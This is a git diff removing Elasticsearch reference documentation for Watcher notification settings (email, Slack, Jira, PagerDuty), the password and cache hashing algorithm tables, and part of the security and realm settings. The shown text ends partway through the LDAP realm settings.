-The maximum period of inactivity between two data packets, before the
-request is aborted.
-
-`xpack.http.max_response_size`::
-(<<static-cluster-setting,Static>>)
-Specifies the maximum size an HTTP response is allowed to have, defaults to
-`10mb`, the maximum configurable value is `50mb`.
-
-`xpack.http.whitelist`::
-(<<dynamic-cluster-setting,Dynamic>>)
-A list of URLs, that the internal HTTP client is allowed to connect to. This
-client is used in the HTTP input, the webhook, the slack, pagerduty,
-and jira actions. This setting can be updated dynamically.  It defaults to `*`
-allowing everything. Note: If you configure this setting and you are using one
-of the slack/pagerduty actions, you have to ensure that the
-corresponding endpoints are explicitly allowed as well.
-
-[[ssl-notification-settings]]
-:ssl-prefix:             xpack.http
-:component:              {watcher} HTTP
-:verifies:
-:server!:
-:ssl-context:            watcher
-
-include::ssl-settings.asciidoc[]
-
-[[email-notification-settings]]
-==== Email Notification Settings
-You can configure the following email notification settings in
-`elasticsearch.yml`. For more information about sending notifications
-via email, see <<configuring-email-actions>>.
-
-`xpack.notification.email.default_account`::
-(<<dynamic-cluster-setting,Dynamic>>)
-Default email account to use.
-+
-If you configure multiple email accounts, you must either configure this setting
-or specify the email account to use in the <<actions-email,`email`>> action. See
-<<configuring-email>>.
-
-`xpack.notification.email.account`::
-Specifies account information for sending notifications via email. You
-can specify the following email account attributes:
-+
---
-[[email-account-attributes]]
-
-`profile`::
-(<<dynamic-cluster-setting,Dynamic>>)
-The <<configuring-email,email profile>> to use to build the MIME
-messages that are sent from the account. Valid values: `standard`, `gmail` and
-`outlook`. Defaults to `standard`.
-
-`email_defaults.*`::
-(<<dynamic-cluster-setting,Dynamic>>)
-An optional set of email attributes to use as defaults
-for the emails sent from the account. See
-<<email-action-attributes>> for the supported
-attributes.
-
-`smtp.auth`::
-(<<dynamic-cluster-setting,Dynamic>>)
-Set to `true` to attempt to authenticate the user using the
-AUTH command. Defaults to `false`.
-
-`smtp.host`::
-(<<dynamic-cluster-setting,Dynamic>>)
-The SMTP server to connect to. Required.
-
-`smtp.port`::
-(<<dynamic-cluster-setting,Dynamic>>)
-The SMTP server port to connect to. Defaults to 25.
-
-`smtp.user`::
-(<<dynamic-cluster-setting,Dynamic>>)
-The user name for SMTP. Required.
-
-`smtp.secure_password`::
-(<<secure-settings,Secure>>, <<reloadable-secure-settings,reloadable>>)
-The password for the specified SMTP user.
-
-`smtp.starttls.enable`::
-(<<dynamic-cluster-setting,Dynamic>>)
-Set to `true` to enable the use of the `STARTTLS`
-command (if supported by the server) to switch the connection to a
-TLS-protected connection before issuing any login commands. Note that
-an appropriate trust store must be configured so that the client will
-trust the server's certificate. Defaults to `false`.
-
-`smtp.starttls.required`::
-(<<dynamic-cluster-setting,Dynamic>>)
-If `true`, then `STARTTLS` will be required. If that command fails, the
-connection will fail. Defaults to `false`.
-
-`smtp.ssl.trust`::
-(<<dynamic-cluster-setting,Dynamic>>)
-A list of SMTP server hosts that are assumed trusted and for which
-certificate verification is disabled. If set to "*", all hosts are
-trusted. If set to a whitespace separated list of hosts, those hosts
-are trusted. Otherwise, trust depends on the certificate the server
-presents.
-
-`smtp.timeout`::
-(<<dynamic-cluster-setting,Dynamic>>)
-The socket read timeout. Default is two minutes.
-
-`smtp.connection_timeout`::
-(<<dynamic-cluster-setting,Dynamic>>)
-The socket connection timeout. Default is two minutes.
-
-`smtp.write_timeout`::
-(<<dynamic-cluster-setting,Dynamic>>)
-The socket write timeout. Default is two minutes.
-
-`smtp.local_address`::
-(<<dynamic-cluster-setting,Dynamic>>)
-A configurable local address when sending emails. Not configured by default.
-
-`smtp.local_port`::
-(<<dynamic-cluster-setting,Dynamic>>)
-A configurable local port when sending emails. Not configured by default.
-
-`smtp.send_partial`::
-(<<dynamic-cluster-setting,Dynamic>>)
-Send an email, despite one of the receiver addresses being invalid.
-
-`smtp.wait_on_quit`::
-(<<dynamic-cluster-setting,Dynamic>>)
-If set to false the QUIT command is sent and the connection closed. If set to
-true, the QUIT command is sent and a reply is waited for. True by default.
---
-
-`xpack.notification.email.html.sanitization.allow`::
-Specifies the HTML elements that are allowed in email notifications. For
-more information, see
-<<email-html-sanitization>>. You can
-specify individual HTML elements and the following HTML feature groups:
-+
---
-[[html-feature-groups]]
-
-`_tables`::
-(<<static-cluster-setting,Static>>)
-All table related elements: `<table>`, `<th>`, `<tr>`, `<td>`, `<caption>`,
-`<col>`, `<colgroup>`, `<thead>`, `<tbody>`, and `<tfoot>`.
-
-`_blocks`::
-(<<static-cluster-setting,Static>>)
-The following block elements: `<p>`, `<div>`, `<h1>`,
-`<h2>`, `<h3>`, `<h4>`, `<h5>`, `<h6>`, `<ul>`, `<ol>`,
-`<li>`, and `<blockquote>`.
-
-`_formatting`::
-(<<static-cluster-setting,Static>>)
-The following inline formatting elements: `<b>`, `<i>`,
-`<s>`, `<u>`, `<o>`, `<sup>`, `<sub>`, `<ins>`, `<del>`,
-`<strong>`, `<strike>`, `<tt>`, `<code>`, `<big>`,
-`<small>`, `<hr>`, `<br>`, `<span>`, and `<em>`.
-
-`_links`::
-(<<static-cluster-setting,Static>>)
-The `<a>` element with an `href` attribute that points
-to a URL using the following protocols: `http`, `https`
-and `mailto`.
-
-`_styles`::
-(<<static-cluster-setting,Static>>)
-The `style` attribute on all elements. Note that CSS
-attributes are also sanitized to prevent XSS attacks.
-
-`img`::
-`img:all`::
-(<<static-cluster-setting,Static>>)
-All images (external and embedded).
-
-`img:embedded`::
-(<<static-cluster-setting,Static>>)
-Only embedded images. Embedded images can only use the
-`cid:` URL protocol in their `src` attribute.
---
-
-`xpack.notification.email.html.sanitization.disallow`::
-(<<static-cluster-setting,Static>>)
-Specifies the HTML elements that are NOT allowed in email notifications.
-You can specify individual HTML elements and <<html-feature-groups,
-HTML feature groups>>.
-
-`xpack.notification.email.html.sanitization.enabled` ::
-(<<static-cluster-setting,Static>>)
-Set to `false` to completely disable HTML sanitation. Not recommended.
-Defaults to `true`.
-
-[[ssl-notification-smtp-settings]]
-:ssl-prefix:             xpack.notification.email
-:component:              {watcher} Email
-:verifies:
-:server!:
-:ssl-context:            watcher-email
-
-include::ssl-settings.asciidoc[]
-
-[[slack-notification-settings]]
-==== Slack Notification Settings
-You can configure the following Slack notification settings in
-`elasticsearch.yml`. For more information about sending notifications
-via Slack, see <<configuring-slack-actions>>.
-
-
-`xpack.notification.slack.default_account`::
-(<<dynamic-cluster-setting,Dynamic>>)
-Default Slack account to use.
-+
-If you configure multiple Slack accounts, you must either configure this setting
-or specify the Slack account to use in the <<actions-slack,`slack`>> action. See
-<<configuring-slack>>.
-
-[[slack-account-attributes]]
-`xpack.notification.slack.account`::
-Specifies account information for sending notifications
-via Slack. You can specify the following Slack account attributes:
-+
---
-`secure_url`::
-(<<secure-settings,Secure>>, <<reloadable-secure-settings,reloadable>>)
-The Incoming Webhook URL to use to post messages to Slack. Required.
-
-`message_defaults`::
-Default values for
-<<slack-action-attributes,Slack message attributes>>.
-
-`from`:::
-(<<dynamic-cluster-setting,Dynamic>>)
-The sender name to display in the
-Slack message. Defaults to the watch ID.
-
-`to`:::
-(<<dynamic-cluster-setting,Dynamic>>)
-The default Slack channels or groups you
-want to send messages to.
-
-`icon`:::
-(<<dynamic-cluster-setting,Dynamic>>)
-The icon to display in the Slack messages.
-Overrides the incoming webhook's configured
-icon. Accepts a public URL to an image.
-
-`text`:::
-(<<dynamic-cluster-setting,Dynamic>>)
-The default message content.
-
-`attachment`:::
-(<<dynamic-cluster-setting,Dynamic>>)
-Default message attachments. Slack message attachments
-enable you to create more richly-formatted messages.
-Specified as an array as defined in the
-https://api.slack.com/docs/attachments[
-Slack attachments documentation].
---
-
-[[jira-notification-settings]]
-==== Jira Notification Settings
-You can configure the following Jira notification settings in
-`elasticsearch.yml`. For more information about using notifications
-to create issues in Jira, see <<configuring-jira-actions>>.
-
-`xpack.notification.jira.default_account`::
-(<<dynamic-cluster-setting,Dynamic>>)
-Default Jira account to use.
-+
-If you configure multiple Jira accounts, you must either configure this setting
-or specify the Jira account to use in the <<actions-jira,`jira`>> action. See
-<<configuring-jira>>.
-
-[[jira-account-attributes]]
-`xpack.notification.jira.account`::
-Specifies account information for using notifications to create
-issues in Jira. You can specify the following Jira account attributes:
-+
---
-`allow_http`::
-(<<dynamic-cluster-setting,Dynamic>>)
-If `false`, Watcher rejects URL settings that use a HTTP protocol. Defaults to
-`false`.
-
-`secure_url`::
-(<<secure-settings,Secure>>, <<reloadable-secure-settings,reloadable>>)
-The URL of the Jira Software server. Required.
-
-`secure_user`::
-(<<secure-settings,Secure>>, <<reloadable-secure-settings,reloadable>>)
-The name of the user to connect to the Jira Software server. Required.
-
-`secure_password`::
-(<<secure-settings,Secure>>, <<reloadable-secure-settings,reloadable>>)
-The password of the user to connect to the Jira Software server. Required.
-
-`issue_defaults`::
-(<<dynamic-cluster-setting,Dynamic>>)
-Default fields values for the issue created in Jira. See
-<<jira-action-attributes>> for more information.
-Optional.
---
-
-[[pagerduty-notification-settings]]
-==== PagerDuty Notification Settings
-You can configure the following PagerDuty notification settings in
-`elasticsearch.yml`. For more information about sending notifications
-via PagerDuty, see <<configuring-pagerduty-actions>>.
-
-`xpack.notification.pagerduty.default_account`::
-(<<dynamic-cluster-setting,Dynamic>>)
-Default PagerDuty account to use.
-+
-If you configure multiple PagerDuty accounts, you must either configure this
-setting or specify the PagerDuty account to use in the
-<<actions-pagerduty,`pagerduty`>> action. See <<configuring-pagerduty>>.
-
-[[pagerduty-account-attributes]]
-`xpack.notification.pagerduty.account`::
-Specifies account information for sending notifications via PagerDuty. You can
-specify the following PagerDuty account attributes:
-+
---
-`name`::
-(<<static-cluster-setting,Static>>)
-A name for the PagerDuty account associated with the API key you
-are using to access PagerDuty. Required.
-
-`secure_service_api_key`::
-(<<secure-settings,Secure>>, <<reloadable-secure-settings,reloadable>>)
-The https://developer.pagerduty.com/documentation/rest/authentication[
-PagerDuty API key] to use to access PagerDuty. Required.
---
-+
-`event_defaults`::
-Default values for
-<<pagerduty-event-trigger-incident-attributes,PagerDuty event attributes>>.
-Optional.
-+
---
-`description`::
-(<<dynamic-cluster-setting,Dynamic>>)
-A string that contains the default description for PagerDuty events.
-If no default is configured, each PagerDuty action must specify a
-`description`.
-
-`incident_key`::
-(<<dynamic-cluster-setting,Dynamic>>)
-A string that contains the default incident key to use when sending
-PagerDuty events.
-
-`client`::
-(<<dynamic-cluster-setting,Dynamic>>)
-A string that specifies the default monitoring client.
-
-`client_url`::
-(<<dynamic-cluster-setting,Dynamic>>)
-The URL of the default monitoring client.
-
-`event_type`::
-(<<dynamic-cluster-setting,Dynamic>>)
-The default event type. Valid values: `trigger`,`resolve`, `acknowledge`.
-
-`attach_payload`::
-(<<dynamic-cluster-setting,Dynamic>>)
-Whether or not to provide the watch payload as context for
-the event by default. Valid values: `true`, `false`.
---
diff --git a/docs/reference/settings/security-hash-settings.asciidoc b/docs/reference/settings/security-hash-settings.asciidoc
deleted file mode 100644
index 9cc2d960db7..00000000000
--- a/docs/reference/settings/security-hash-settings.asciidoc
+++ /dev/null
@@ -1,85 +0,0 @@
-[discrete]
-[[hashing-settings]]
-==== User cache and password hash algorithms
-
-Certain realms store user credentials in memory. To limit exposure
-to credential theft and mitigate credential compromise, the cache only stores
-a hashed version of the user credentials in memory. By default, the user cache
-is hashed with a salted `sha-256` hash algorithm. You can use a different
-hashing algorithm by setting the <<static-cluster-setting,static>>
-`cache.hash_algo` realm settings to any of the following values:
-
-[[cache-hash-algo]]
-.Cache hash algorithms
-|=======================
-| Algorithm           | | | Description
-| `ssha256`           | | | Uses a salted `sha-256` algorithm (default).
-| `md5`               | | | Uses `MD5` algorithm.
-| `sha1`              | | | Uses `SHA1` algorithm.
-| `bcrypt`            | | | Uses `bcrypt` algorithm with salt generated in 1024 rounds.
-| `bcrypt4`           | | | Uses `bcrypt` algorithm with salt generated in 16 rounds.
-| `bcrypt5`           | | | Uses `bcrypt` algorithm with salt generated in 32 rounds.
-| `bcrypt6`           | | | Uses `bcrypt` algorithm with salt generated in 64 rounds.
-| `bcrypt7`           | | | Uses `bcrypt` algorithm with salt generated in 128 rounds.
-| `bcrypt8`           | | | Uses `bcrypt` algorithm with salt generated in 256 rounds.
-| `bcrypt9`           | | | Uses `bcrypt` algorithm with salt generated in 512 rounds.
-| `pbkdf2`            | | | Uses `PBKDF2` key derivation function with `HMAC-SHA512` as a
-                             pseudorandom function using 10000 iterations.
-| `pbkdf2_1000`       | | | Uses `PBKDF2` key derivation function with `HMAC-SHA512` as a
-                             pseudorandom function using 1000 iterations.
-| `pbkdf2_10000`      | | | Uses `PBKDF2` key derivation function with `HMAC-SHA512` as a
-                             pseudorandom function using 10000 iterations.
-| `pbkdf2_50000`      | | | Uses `PBKDF2` key derivation function with `HMAC-SHA512` as a
-                             pseudorandom function using 50000 iterations.
-| `pbkdf2_100000`     | | | Uses `PBKDF2` key derivation function with `HMAC-SHA512` as a
-                             pseudorandom function using 100000 iterations.
-| `pbkdf2_500000`     | | | Uses `PBKDF2` key derivation function with `HMAC-SHA512` as a
-                              pseudorandom function using 500000 iterations.
-| `pbkdf2_1000000`    | | | Uses `PBKDF2` key derivation function with `HMAC-SHA512` as a
-                             pseudorandom function using 1000000 iterations.
-| `noop`,`clear_text` | | | Doesn't hash the credentials and keeps it in clear text in
-                            memory. CAUTION: keeping clear text is considered insecure
-                            and can be compromised at the OS level (for example through
-                            memory dumps and using `ptrace`).
-|=======================
-
-Likewise, realms that store passwords hash them using cryptographically strong
-and password-specific salt values. You can configure the algorithm for password
-hashing by setting the <<static-cluster-setting,static>>
-`xpack.security.authc.password_hashing.algorithm` setting to one of the
-following:
-
-[[password-hashing-algorithms]]
-.Password hashing algorithms
-|=======================
-| Algorithm           | | | Description
-
-| `bcrypt`            | | | Uses `bcrypt` algorithm with salt generated in 1024 rounds. (default)
-| `bcrypt4`           | | | Uses `bcrypt` algorithm with salt generated in 16 rounds.
-| `bcrypt5`           | | | Uses `bcrypt` algorithm with salt generated in 32 rounds.
-| `bcrypt6`           | | | Uses `bcrypt` algorithm with salt generated in 64 rounds.
-| `bcrypt7`           | | | Uses `bcrypt` algorithm with salt generated in 128 rounds.
-| `bcrypt8`           | | | Uses `bcrypt` algorithm with salt generated in 256 rounds.
-| `bcrypt9`           | | | Uses `bcrypt` algorithm with salt generated in 512 rounds.
-| `bcrypt10`          | | | Uses `bcrypt` algorithm with salt generated in 1024 rounds.
-| `bcrypt11`          | | | Uses `bcrypt` algorithm with salt generated in 2048 rounds.
-| `bcrypt12`          | | | Uses `bcrypt` algorithm with salt generated in 4096 rounds.
-| `bcrypt13`          | | | Uses `bcrypt` algorithm with salt generated in 8192 rounds.
-| `bcrypt14`          | | | Uses `bcrypt` algorithm with salt generated in 16384 rounds.
-| `pbkdf2`            | | | Uses `PBKDF2` key derivation function with `HMAC-SHA512` as a
-                             pseudorandom function using 10000 iterations.
-| `pbkdf2_1000`       | | | Uses `PBKDF2` key derivation function with `HMAC-SHA512` as a
-                             pseudorandom function using 1000 iterations.
-| `pbkdf2_10000`      | | | Uses `PBKDF2` key derivation function with `HMAC-SHA512` as a
-                             pseudorandom function using 10000 iterations.
-| `pbkdf2_50000`      | | | Uses `PBKDF2` key derivation function with `HMAC-SHA512` as a
-                             pseudorandom function using 50000 iterations.
-| `pbkdf2_100000`     | | | Uses `PBKDF2` key derivation function with `HMAC-SHA512` as a
-                             pseudorandom function using 100000 iterations.
-| `pbkdf2_500000`     | | | Uses `PBKDF2` key derivation function with `HMAC-SHA512` as a
-                              pseudorandom function using 500000 iterations.
-| `pbkdf2_1000000`    | | | Uses `PBKDF2` key derivation function with `HMAC-SHA512` as a
-                             pseudorandom function using 1000000 iterations.
-|=======================
-
-
diff --git a/docs/reference/settings/security-settings.asciidoc b/docs/reference/settings/security-settings.asciidoc
deleted file mode 100644
index 72bf73c799b..00000000000
--- a/docs/reference/settings/security-settings.asciidoc
+++ /dev/null
@@ -1,2064 +0,0 @@
-[role="xpack"]
-[[security-settings]]
-=== Security settings in {es}
-++++
-<titleabbrev>Security settings</titleabbrev>
-++++
-
-By default, the {es} {security-features} are disabled when you have a basic or
-trial license. To enable {security-features}, use the `xpack.security.enabled`
-setting.
-
-You configure `xpack.security` settings to
-<<anonymous-access-settings,enable anonymous access>> and perform message
-authentication,
-<<field-document-security-settings,set up document and field level security>>,
-<<realm-settings,configure realms>>,
-<<ssl-tls-settings,encrypt communications with SSL>>,and
-<<auditing-settings,audit security events>>.
-
-All of these settings can be added to the `elasticsearch.yml` configuration file,
-with the exception of the secure settings, which you add to the {es} keystore.
-For more information about creating and updating the {es} keystore, see
-<<secure-settings>>.
-
-[discrete]
-[[general-security-settings]]
-==== General security settings
-`xpack.security.enabled`::
-(<<static-cluster-setting,Static>>)
-Set to `true` to enable {es} {security-features} on the node. +
-+
---
-If set to `false`, which is the default value for basic and trial licenses,
-{security-features} are disabled. It also affects all {kib} instances that
-connect to this {es} instance; you do not need to disable {security-features} in
-those `kibana.yml` files. For more information about disabling {security-features}
-in specific {kib} instances, see
-{kibana-ref}/security-settings-kb.html[{kib} security settings].
-
-TIP: If you have gold or higher licenses, the default value is `true`; we
-recommend that you explicitly add this setting to avoid confusion.
-
---
-
-`xpack.security.hide_settings`::
-(<<static-cluster-setting,Static>>)
-A comma-separated list of settings that are omitted from the results of the
-<<cluster-nodes-info,cluster nodes info API>>. You can use wildcards to include
-multiple settings in the list.  For example, the following value hides all the
-settings for the ad1 active_directory realm:
-`xpack.security.authc.realms.active_directory.ad1.*`.
-The API already omits all `ssl` settings, `bind_dn`, and `bind_password` due to
-the sensitive nature of the information.
-
-`xpack.security.fips_mode.enabled`::
-(<<static-cluster-setting,Static>>)
-Enables fips mode of operation. Set this to `true` if you run this {es} instance in a FIPS 140-2 enabled JVM.  For more information, see <<fips-140-compliance>>. Defaults to `false`.
-
-[discrete]
-[[password-hashing-settings]]
-==== Password hashing settings
-
-`xpack.security.authc.password_hashing.algorithm`::
-(<<static-cluster-setting,Static>>)
-Specifies the hashing algorithm that is used for secure user credential storage.
-See <<password-hashing-algorithms>>. Defaults to `bcrypt`.
-
-[discrete]
-[[anonymous-access-settings]]
-==== Anonymous access settings
-
-You can configure the following anonymous access settings in
-`elasticsearch.yml`.  For more information, see <<anonymous-access>>.
-
-`xpack.security.authc.anonymous.username`::
-(<<static-cluster-setting,Static>>)
-The username (principal) of the anonymous user. Defaults to `_es_anonymous_user`.
-
-`xpack.security.authc.anonymous.roles`::
-(<<static-cluster-setting,Static>>)
-The roles to associate with the anonymous user. Required.
-
-`xpack.security.authc.anonymous.authz_exception`::
-(<<static-cluster-setting,Static>>)
-When `true`, an HTTP 403 response is returned if the anonymous user
-does not have the appropriate permissions for the requested action. The
-user is not prompted to provide credentials to access the requested
-resource. When set to `false`, an HTTP 401 response is returned and the user
-can provide credentials with the appropriate permissions to gain
-access. Defaults to `true`.
-
-[discrete]
-[[security-automata-settings]]
-==== Automata Settings
-
-In places where the {security-features} accept wildcard patterns (e.g. index
-patterns in roles, group matches in the role mapping API), each pattern is
-compiled into an Automaton. The follow settings are available to control this
-behaviour.
-
-`xpack.security.automata.max_determinized_states`::
-(<<static-cluster-setting,Static>>)
-The upper limit on how many automaton states may be created by a single pattern.
-This protects against too-difficult (e.g. exponentially hard) patterns.
-Defaults to `100,000`.
-
-`xpack.security.automata.cache.enabled`::
-(<<static-cluster-setting,Static>>)
-Whether to cache the compiled automata. Compiling automata can be CPU intensive
-and may slowdown some operations. The cache reduces the frequency with which
-automata need to be compiled.
-Defaults to `true`.
-
-`xpack.security.automata.cache.size`::
-(<<static-cluster-setting,Static>>)
-The maximum number of items to retain in the automata cache.
-Defaults to `10,000`.
-
-`xpack.security.automata.cache.ttl`::
-(<<static-cluster-setting,Static>>)
-The length of time to retain in an item in the automata cache (based on most
-recent usage).
-Defaults to `48h` (48 hours).
-
-[discrete]
-[[field-document-security-settings]]
-==== Document and field level security settings
-
-You can set the following document and field level security
-settings in `elasticsearch.yml`. For more information, see
-<<field-and-document-access-control>>.
-
-`xpack.security.dls_fls.enabled`::
-(<<static-cluster-setting,Static>>)
-Set to `false` to prevent document and field level security
-from being configured. Defaults to `true`.
-
-`xpack.security.dls.bitset.cache.ttl`::
-(<<static-cluster-setting,Static>>)
-The time-to-live for cached `BitSet` entries for document level security.
-Document level security queries may depend on Lucene BitSet objects, and these are
-automatically cached to improve performance. Defaults to expire entries that are
-unused for `168h` (7 days).
-
-`xpack.security.dls.bitset.cache.size`::
-(<<static-cluster-setting,Static>>)
-The maximum memory usage of cached `BitSet` entries for document level security.
-Document level security queries may depend on Lucene BitSet objects, and these are
-automatically cached to improve performance. Defaults to `50mb`, after which
-least-recently-used entries will be evicted.
-
-[discrete]
-[[token-service-settings]]
-==== Token service settings
-
-You can set the following token service settings in
-`elasticsearch.yml`.
-
-`xpack.security.authc.token.enabled`::
-(<<static-cluster-setting,Static>>)
-Set to `false` to disable the built-in token service. Defaults to `true` unless
- `xpack.security.http.ssl.enabled` is `false`. This prevents sniffing the token
-  from a connection over plain http.
-
-`xpack.security.authc.token.timeout`::
-(<<static-cluster-setting,Static>>)
-The length of time that a token is valid for. By default this value is `20m` or
-20 minutes. The maximum value is 1 hour.
-
-[discrete]
-[[api-key-service-settings]]
-==== API key service settings
-
-You can set the following API key service settings in
-`elasticsearch.yml`.
-
-`xpack.security.authc.api_key.enabled`::
-(<<static-cluster-setting,Static>>)
-Set to `false` to disable the built-in API key service. Defaults to `true` unless
- `xpack.security.http.ssl.enabled` is `false`. This prevents sniffing the API key
-  from a connection over plain http.
-
-`xpack.security.authc.api_key.hashing.algorithm`::
-(<<static-cluster-setting,Static>>)
-Specifies the hashing algorithm that is used for securing API key credentials.
-See <<password-hashing-algorithms>>. Defaults to `pbkdf2`.
-
-`xpack.security.authc.api_key.cache.ttl`::
-(<<static-cluster-setting,Static>>)
-The time-to-live for cached API key entries. A API key id and a hash of its
-API key are cached for this period of time. Specify the time period using
-the standard {es} <<time-units,time units>>. Defaults to `1d`.
-
-`xpack.security.authc.api_key.cache.max_keys`::
-(<<static-cluster-setting,Static>>)
-The maximum number of API key entries that can live in the
-cache at any given time. Defaults to 10,000.
-
-`xpack.security.authc.api_key.cache.hash_algo`::
-(<<static-cluster-setting,Static>>, Expert)
-The hashing algorithm that is used for the
-in-memory cached API key credentials. For possible values, see <<cache-hash-algo>>.
-Defaults to `ssha256`.
-
-[discrete]
-[[realm-settings]]
-==== Realm settings
-// tag::realm-settings-description-tag[]
-You configure realm settings in the `xpack.security.authc.realms`
-namespace in `elasticsearch.yml`.
-
-For example:
-
-[source,yaml]
-----------------------------------------
-xpack.security.authc.realms:
-
-    native.realm1: <1>
-        order: 0
-        ...
-
-    ldap.realm2:
-        order: 1
-        ...
-
-    active_directory.realm3:
-        order: 2
-        ...
-    ...
-----------------------------------------
-<1> Specifies the type of realm (for example, `native`, `ldap`,
-`active_directory`, `pki`, `file`, `kerberos`, `saml`) and the realm name. This
-information is required.
-
-The valid settings vary depending on the realm type. For more
-information, see <<setting-up-authentication>>.
-// end::realm-settings-description-tag[]
-
-[discrete]
-[[ref-realm-settings]]
-===== Settings valid for all realms
-// tag::realm-order-tag[]
-`order`::
-(<<static-cluster-setting,Static>>)
-The priority of the realm within the realm chain. Realms with a lower order are
-consulted first. Although not required, use of this setting is strongly
-recommended when you configure multiple realms. Defaults to `Integer.MAX_VALUE`.
-
-`enabled`::
-(<<static-cluster-setting,Static>>)
-Indicates whether a realm is enabled. You can use this setting to disable a
-realm without removing its configuration information. Defaults to `true`.
-
-[[ref-native-settings]]
-[discrete]
-===== Native realm settings
-For a native realm, the `type` must be set to `native`. In addition to the
-<<ref-realm-settings,settings that are valid for all realms>>, you can specify
-the following optional settings:
-
-`cache.ttl`::
-(<<static-cluster-setting,Static>>)
-The time-to-live for cached user entries. A user and a hash of its
-credentials are cached for this period of time. Specify the time period using
-the standard {es} <<time-units,time units>>. Defaults to `20m`.
-
-`cache.max_users`::
-(<<static-cluster-setting,Static>>)
-The maximum number of user entries that can live in the
-cache at any given time. Defaults to 100,000.
-
-`cache.hash_algo`::
-(<<static-cluster-setting,Static>>, Expert)
-The hashing algorithm that is used for the
-in-memory cached user credentials. For possible values, see <<cache-hash-algo>>.
-Defaults to `ssha256`.
-
-`authentication.enabled`::
-(<<static-cluster-setting,Static>>)
-If set to `false`, disables authentication support in
-this realm, so that it only supports user lookups.
-(See the <<run-as-privilege,run as>> and
-<<authorization_realms,authorization realms>> features).
-Defaults to `true`.
-
-[[ref-users-settings]]
-
-[discrete]
-===== File realm settings
-
-The `type` setting must be set to `file`. In addition to the
-<<ref-realm-settings,settings that are valid for all realms>>, you can specify
-the following settings:
-
-`cache.ttl`::
-(<<static-cluster-setting,Static>>)
-The time-to-live for cached user entries. A user and a hash of its credentials
-are cached for this configured period of time. Defaults to `20m`. Specify values
-using the standard {es} <<time-units,time units>>.
-Defaults to `20m`.
-
-`cache.max_users`::
-(<<static-cluster-setting,Static>>)
-The maximum number of user entries that can live in the cache at a given time.
-Defaults to 100,000.
-
-`cache.hash_algo`::
-(<<static-cluster-setting,Static>>, Expert)
-The hashing algorithm that is used for the in-memory cached
-user credentials. See <<cache-hash-algo>>. Defaults to `ssha256`.
-
-`authentication.enabled`::
-(<<static-cluster-setting,Static>>)
-If set to `false`, disables authentication support in
-this realm, so that it only supports user lookups.
-(See the <<run-as-privilege,run as>> and
-<<authorization_realms,authorization realms>> features).
-Defaults to `true`.
-
-[[ref-ldap-settings]]
-[discrete]
-===== LDAP realm settings
-
-The `type` setting must be set to `ldap`. In addition to the
-<<ref-realm-settings>>, you can specify the following settings:
-
-`url`::
-(<<static-cluster-setting,Static>>)
-One or more LDAP URLs in the `ldap[s]://<server>:<port>` format. Required.
-+
-To provide multiple URLs, use a YAML array (`["ldap://server1:636", "ldap://server2:636"]`)
-or comma-separated string (`"ldap://server1:636, ldap://server2:636"`).
-+
-While both are supported, you can't mix the `ldap` and `ldaps` protocols.
-
-`load_balance.type`::
-(<<static-cluster-setting,Static>>)
-The behavior to use when there are multiple LDAP URLs defined. For supported
-values see <<load-balancing,load balancing and failover types>>.
-Defaults to `failover`.
-
-`load_balance.cache_ttl`::
-(<<static-cluster-setting,Static>>)
-When using `dns_failover` or `dns_round_robin` as the load balancing type,
-this setting controls the amount of time to cache DNS lookups. Defaults
-to `1h`.
-
-`bind_dn`::
-(<<static-cluster-setting,Static>>)
-The DN of the user that is used to bind to the LDAP and perform searches.
-Only applicable in user search mode.
-If not specified, an anonymous bind is attempted.
-Defaults to Empty. Due to its potential security impact, `bind_dn` is not
-exposed via the <<cluster-nodes-info,nodes info API>>.
-
-`bind_password`::
-(<<static-cluster-setting,Static>>)
-deprecated[6.3] Use `secure_bind_password` instead. The password for the user
-that is used to bind to the LDAP directory.
-Defaults to Empty. Due to its potential security impact, `bind_password` is not
-exposed via the <<cluster-nodes-info,nodes info API>>.
-
-`secure_bind_password`::
-(<<secure-settings,Secure>>)
-The password for the user that is used to bind to the LDAP directory.
-Defaults to Empty.
-
-`user_dn_templates`::
-(<<static-cluster-setting,Static>>)
-The DN template that replaces the user name with the string `{0}`.
-This setting is multivalued; you can specify multiple user contexts.
-Required to operate in user template mode. If `user_search.base_dn` is specified,
-this setting is not valid. For more information on
-the different modes, see <<ldap-realm>>.
-
-`authorization_realms`::
-(<<static-cluster-setting,Static>>)
-The names of the realms that should be consulted for delegated authorization.
-If this setting is used, then the LDAP realm does not perform role mapping and
-instead loads the user from the listed realms. The referenced realms are
-consulted in the order that they are defined in this list.
-See <<authorization_realms>>.
-+
---
-NOTE: If any settings starting with `user_search` are specified, the
-`user_dn_templates` settings are ignored.
-
---
-
-`user_group_attribute`::
-(<<static-cluster-setting,Static>>)
-Specifies the attribute to examine on the user for group membership.
-If any `group_search` settings are specified, this setting is ignored. Defaults
-to `memberOf`.
-
-`user_search.base_dn`::
-(<<static-cluster-setting,Static>>)
-Specifies a container DN to search for users. Required
-to operated in user search mode. If `user_dn_templates` is specified, this
-setting is not valid. For more information on
-the different modes, see <<ldap-realm>>.
-
-`user_search.scope`::
-(<<static-cluster-setting,Static>>)
-The scope of the user search. Valid values are `sub_tree`, `one_level` or
-`base`. `one_level` only searches objects directly contained within the
-`base_dn`. `sub_tree` searches all objects contained under `base_dn`.
-`base` specifies that the `base_dn` is the user object, and that it is
-the only user considered. Defaults to `sub_tree`.
-
-`user_search.filter`::
-(<<static-cluster-setting,Static>>)
-Specifies the filter used to search the directory in attempts to match
-an entry with the username provided by the user. Defaults to `(uid={0})`.
-`{0}` is substituted with the username provided when searching.
-
-`user_search.attribute`::
-(<<static-cluster-setting,Static>>)
-deprecated[5.6] Use `user_search.filter` instead.
-The attribute to match with the username sent with the request. Defaults to `uid`.
-
-`user_search.pool.enabled`::
-(<<static-cluster-setting,Static>>)
-Enables or disables connection pooling for user search. If set to `false`, a new
-connection is created for every search. The
-default is `true` when `bind_dn` is set.
-
-`user_search.pool.size`::
-(<<static-cluster-setting,Static>>)
-The maximum number of connections to the LDAP server to allow in the
-connection pool. Defaults to `20`.
-
-`user_search.pool.initial_size`::
-(<<static-cluster-setting,Static>>)
-The initial number of connections to create to the LDAP server on startup.
-Defaults to `0`. If the LDAP server is down, values greater than `0` could cause
-startup failures.
-
-`user_search.pool.health_check.enabled`::
-(<<static-cluster-setting,Static>>)
-Enables or disables a health check on LDAP connections in the connection
-pool. Connections are checked in the background at the specified interval.
-Defaults to `true`.
-
-`user_search.pool.health_check.dn`::
-(<<static-cluster-setting,Static>>)
-The distinguished name that is retrieved as part of the health check.
-Defaults to the value of `bind_dn` if present; if
-not, falls back to `user_search.base_dn`.
-
-`user_search.pool.health_check.interval`::
